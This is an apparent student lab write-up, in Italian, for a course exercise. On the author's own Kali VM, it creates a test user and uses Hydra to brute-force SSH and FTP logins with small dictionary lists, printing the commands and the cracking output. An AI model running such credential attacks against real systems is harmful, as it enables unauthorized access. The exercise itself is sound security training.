

ESERCIZIO S6 L5



Progetto S6/L5 PDF

Esercizio
Traccia

Esercizio del Giorno

Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio.

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

RISPOSTA

Creo inizialmente un nuovo utente sulla VM Kali Linux: utilizzo `sudo adduser test_user1` e configuro la nuova password : `testpass`

```
(kali@kali)-[~]
$ sudo adduser test_user1
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user1
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] Y
```

Ora testo la connessione SSH del nuovo utente creato utilizzando il comando : `ssh test_user1@192.168.70.101`

```

(kali㉿kali)-[~]
$ ssh test_user1@192.168.70.101
The authenticity of host '192.168.70.101 (192.168.70.101)' can't be established.
ED25519 key fingerprint is SHA256:GuAom2wE0lgEOE2x7cfRczww2ZYxyTJPWnaRSLl8GFg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.70.101' (ED25519) to the list of known hosts.
test_user1@192.168.70.101's password:
Linux kali 6.12.33+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.33-1kali1 (2025-06-25) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

```

Avendo inserito le credenziali corrette ho ricevuto il prompt dei comandi dell'utente `test_user1` sulla mia Kali.

A questo punto non mi resta che utilizzare **Hydra** per la sessione di cracking, ma prima, dato che andrò ad utilizzare delle liste per l'attacco a dizionario, credo due file.txt (**testo1.txt** e **testo2.txt**) dove inserisco rispettivamente una lista di nomi utente con all'interno il nome utente corretto e una lista di password con quella corretta all'interno.

```

(test_user1㉿kali)-[~]
$ nano testo1.txt

(test_user1㉿kali)-[~]
$ nano testo2.txt

```

Ora utilizzo **Hydra**, potrei attaccare l'autenticazione SSH con il seguente comando, dove `-l`, e `-p` minuscole si usano se vogliamo utilizzare un singolo username ed una singola password. Ipotizzo in questo caso, di **non conoscere username e password** ed utilizzo invece delle liste per l'attacco a dizionario. Uso quindi `-L`, `-P` (entrambe in maiuscolo). con il comando:

hydra -L testo1.txt -P testo2.txt 192.168.70.101 -t 3 ssh -V

Ho aggiunto **-V** per poter controllare “live” i tentativi di cracking di Hydra.

```
(test_user1@kali)-[~]
$ hydra -L testo1.txt -P testo2.txt 192.168.70.101 -t 3 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-15 09:52:54
[DATA] max 3 tasks per 1 server, overall 3 tasks, 20 login tries (l:5/p:4), ~7 tries per task
[DATA] attacking ssh://192.168.70.101:22/
[ATTEMPT] target 192.168.70.101 - login "test_user1" - pass "testpass" - 1 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.70.101 - login "test_user1" - pass "testopasso" - 2 of 20 [child 1] (0/0)
[ATTEMPT] target 192.168.70.101 - login "test_user1" - pass "tstps" - 3 of 20 [child 2] (0/0)
[22][ssh] host: 192.168.70.101 login: test_user1 password: testpass
[ATTEMPT] target 192.168.70.101 - login "babb3" - pass "testpass" - 5 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.70.101 - login "babb3" - pass "testopasso" - 6 of 20 [child 1] (0/0)
[ATTEMPT] target 192.168.70.101 - login "babb3" - pass "tstps" - 7 of 20 [child 2] (0/0)
[ATTEMPT] target 192.168.70.101 - login "babb3" - pass "tostipassi" - 8 of 20 [child 1] (0/0)
[ATTEMPT] target 192.168.70.101 - login "babby6" - pass "testpass" - 9 of 20 [child 0] (0/0)
[ATTEMPT] target 192.168.70.101 - login "babby6" - pass "testopasso" - 10 of 20 [child 2] (0/0)
[ATTEMPT] target 192.168.70.101 - login "babby6" - pass "tstps" - 11 of 20 [child 1] (0/0)
[ATTEMPT] target 192.168.70.101 - login "babby6" - pass "tostipassi" - 12 of 20 [child 0] (0/0)
```

Possiamo notare che username e password corrette vengono trovate e sottolineate dal colore diverso e dal grassetto.

Ho eseguito lo stesso attacco per un altro servizio, per questo esercizio ho scelto **FTP**

```
(kali@kali)-[~]
$ hydra -L testo1.txt -P testo2.txt 192.168.70.101 -t 3 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-15 10:12:27
[DATA] max 3 tasks per 1 server, overall 3 tasks, 9 login tries (l:3/p:3), ~3 tries per task
[DATA] attacking ftp://192.168.70.101:21/
[ATTEMPT] target 192.168.70.101 - login "test_user1" - pass "testpass" - 1 of 9 [child 0] (0/0)
[ATTEMPT] target 192.168.70.101 - login "test_user1" - pass "testopasso" - 2 of 9 [child 1] (0/0)
[ATTEMPT] target 192.168.70.101 - login "test_user1" - pass "tessopasso" - 3 of 9 [child 2] (0/0)
[21][ftp] host: 192.168.70.101 login: test_user1 password: testpass
[ATTEMPT] target 192.168.70.101 - login "testouzer" - pass "testpass" - 4 of 9 [child 0] (0/0)
[ATTEMPT] target 192.168.70.101 - login "testouzer" - pass "testopasso" - 5 of 9 [child 2] (0/0)
[ATTEMPT] target 192.168.70.101 - login "testouzer" - pass "tessopasso" - 6 of 9 [child 1] (0/0)
[ATTEMPT] target 192.168.70.101 - login "tstuzr" - pass "testpass" - 7 of 9 [child 0] (0/0)
[ATTEMPT] target 192.168.70.101 - login "tstuzr" - pass "testopasso" - 8 of 9 [child 2] (0/0)
[ATTEMPT] target 192.168.70.101 - login "tstuzr" - pass "tessopasso" - 9 of 9 [child 1] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-15 10:12:38
```

CONCLUSIONE

Con questo esercizio ho potuto simulare un attacco di cracking utilizzando Hydra e alcune delle sue funzionalità. In particolare ho eseguito degli attacchi a dizionario sui servizi ssh e ftp con lo scopo di ottenere le credenziali di accesso dell'utente (creato in precedenza per lo svolgimento dell'esercizio). Per entrambi i servizi l'attacco è avvenuto con successo. Grazie a questo esercizio ho compreso come la complessità

delle password che scegliamo ha una forte valenza ai fini di proteggersi da queste tipologie di attacchi.